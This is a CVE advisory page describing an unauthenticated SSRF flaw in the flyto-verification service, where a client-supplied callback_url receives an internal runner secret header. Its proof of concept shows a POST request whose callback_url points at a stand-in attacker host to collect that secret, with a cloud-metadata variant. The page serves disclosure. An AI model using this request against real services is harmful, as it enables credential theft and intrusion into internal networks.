CVE-2026-67426
Summary
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that **unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET**. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.
Root Cause
- src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
- resolve_callback_url returns the client callback_url verbatim (:315-316).
- post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
- target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
- Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.
Impact
Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
Proof of Concept
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
-> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
Attack Chain
1. Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect".
⚡ Watch CVE-2026-67426
Get an email if CVE-2026-67426 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.29% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 21% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-67426)